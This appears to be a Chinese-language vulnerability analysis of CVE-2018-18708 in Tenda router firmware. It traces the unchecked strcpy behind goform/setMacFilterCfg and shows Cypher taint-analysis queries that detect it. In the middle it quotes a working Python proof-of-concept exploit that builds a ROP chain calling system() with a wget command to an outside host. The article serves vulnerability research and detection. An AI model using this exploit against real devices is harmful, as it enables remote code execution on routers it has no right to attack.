0x00 漏洞介绍
CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。
附件:
0x01 固件逻辑分析
首先httpd会进行端口和 ip绑定,然后会调用initWeb
函数对路由进行绑定。
if ( initWeb_2E9EC(v9) >= 0 )
{
....
....
....
}
else
{
puts("main -> initWebs failed");
return -1;
}
在initWeb
中首先进行了handler
的绑定,这里绑定了/goform
,/cgi-bin
等路由,后面的websFormHandler
即对应的处理函数
if ( sub_29510(port, retries) >= 0 )
{
sub_179A8(&unk_DC618, 0, 0, R7WebsSecurityHandler, 1);
sub_179A8("/goform", 0, 0, websFormHandler, 0);
sub_179A8("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
sub_179A8(&unk_DC618, 0, 0, websDefaultHandler, 2);
init_register();
sub_179A8("/", 0, 0, sub_2ECD0, 0);
return 0;
}
else
{
printf("%s %d: websOpenServer failed\n", "initWebs", 499);
return -1;
}
在后续的init_register
对进入handler后分发进行处理的函数进行了注册
int sub_42378()
{
int v0; // r0
sub_10120("TendaGetLongString", aspTendaGetLongString);
sub_10120("aspTendaGetStatus", aspTendaGetStatus);
regist_handlers_form("updateUrlLog", updateUrlLog);
regist_handlers_form("SysStatusHandle", fromSysStatusHandle);
regist_handlers_form("GetWanStatus", formGetWanStatus);
regist_handlers_form("GetSysInfo", formGetSysInfo);
regist_handlers_form("GetWanStatistic", formGetWanStatistic);
regist_handlers_form("GetAllWanInfo", formGetAllWanInfo);
regist_handlers_form("GetWanNum", formGetWanNum);
sub_10120("aspGetWanNum", aspGetWanNum);
regist_handlers_form("getPortStatus", formGetPortStatus);
regist_handlers_form("GetSystemStatus", formGetSystemStatus);
regist_handlers_form("GetRouterStatus", formGetRouterStatus);
regist_handlers_form("setNotUpgrade", formsetNotUpgrade);
sub_10120("aspGetCharset", aspGetCharset);
regist_handlers_form("WizardHandle", fromWizardHandle);
regist_handlers_form("fast_setting_get", form_fast_setting_get);
regist_handlers_form("fast_setting_pppoe_get", form_fast_setting_pppoe_get);
regist_handlers_form("fast_setting_wifi_set", form_fast_setting_wifi_set);
regist_handlers_form("fast_setting_pppoe_set", form_fast_setting_pppoe_set);
regist_handlers_form("getWanConnectStatus", formGetWanConnectStatus);
regist_handlers_form("getProduct", GetProduct);
regist_handlers_form("fast_setting_internet_set", form_fast_setting_internet_set);
regist_handlers_form("usb_get", form_usb_get);
v0 = regist_handlers_form("SysToolpassword", SysToolpassword);
即POST goform/setMacFilterCfg
会进下面注册的formSetMacFilterCfg
函数中进行处理
regist_handlers_form("setMacFilterCfg", formSetMacFilterCfg);
0x02 漏洞分析
根据公开的漏洞信息,漏洞触发是在sub_C24C0
函数中的strcpy处,看的出来是将a1直接没有判断长度拷贝到了a2+32中。我们继续向上跟踪:
确定该漏洞的数据输入点来源于哪里。
确认a1的长度是要大于a2+32的。
我们向上进行交叉引用跟踪,可以看到这里v12也就是上个函数的a2的大小是固定的,大小为176。
再向上跟踪,我们发现一开始的strcpy的第二个参数的字符串来自于下面这个函数的返回值
结合公开poc,我们从poc中寻找一下是不是包含了这个字段
import requests
from pwn import *
cmd="wget 192.168.11.35"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*176
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": "\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
发现deviceList是post请求中的data里面json数据的一个字段,那么顺理成章sub_2BABC
的作用其实就是从json中读取数据,将结果保存在返回值中。
0x03 漏洞扫描
我们这里查询思路是找到source点FUN_0002ba8c
函数的返回追和sink点strcpy
第一个参数两个变量之间所有的路径,因为strcpy第2个参数如果来自于FUN_0002ba8c
的返回值的话很可能会造成栈溢出
3.1 破壳平台
3.11 查询入门
首先浅浅进行一个cypher语言入门 《图数据库查询语言Cypher》
简单来说查询的模式如下
MATCH (n:节点类型{属性:"某种属性"})-[关系]-(m) RETURN *
用我们要查询的source点做一个例子,该语句就是来查询函数名为FUN_0002ba8c
的函数节点
MATCH (n:function{name:"FUN_0002ba8c"}) RETURN n
3.22 查询过程
通过用户文档可知,我们可以通过平台提供的call VQL.taintPropagation
来进行漏洞查询
首先找到source点的id,我们寻找的条件如下:
- 属性为identifier,也就是变量的节点
- 调用该变量的函数为
FUN_0002ba8c
(callee = “FUN_0002ba8c” ) - 该变量是调用函数的返回值(index = -1)
MATCH (n:identifier) WHERE (n.callee = "FUN_0002ba8c" AND n.index=-1 ) WITH collect(id(n)) AS sourceSet
RETURN sourceSet
同理我们可以找到sink
点,这里我们关注的是strcpy的第2个参数,所以index = 1,这里index的下标是从0开始的
MATCH (n:identifier) WHERE (n.callee = "strcpy" AND n.index=1 ) WITH collect(id(n)) AS sinkSet
RETURN sinkSet
最后我们把这三个命令用WITH`
连接一下
MATCH (n:identifier) WHERE (n.callee = "FUN_0002ba8c" AND n.index=-1 ) WITH collect(id(n)) AS sourceSet
MATCH (n:identifier) WHERE (n.callee = "strcpy" AND n.index=1 ) WITH sourceSet,collect(id(n)) AS sinkSet
CALL VQL.taintPropagation(sourceSet,sinkSet, [], [])
YIELD taintPropagationPath RETURN taintPropagationPath
以上就大功告成了
3.23结果验证
通过执行上面的查询语句,可以从平台的语句分析处查看结果,查询到了漏洞函数的执行流。数据流从7处流向1处。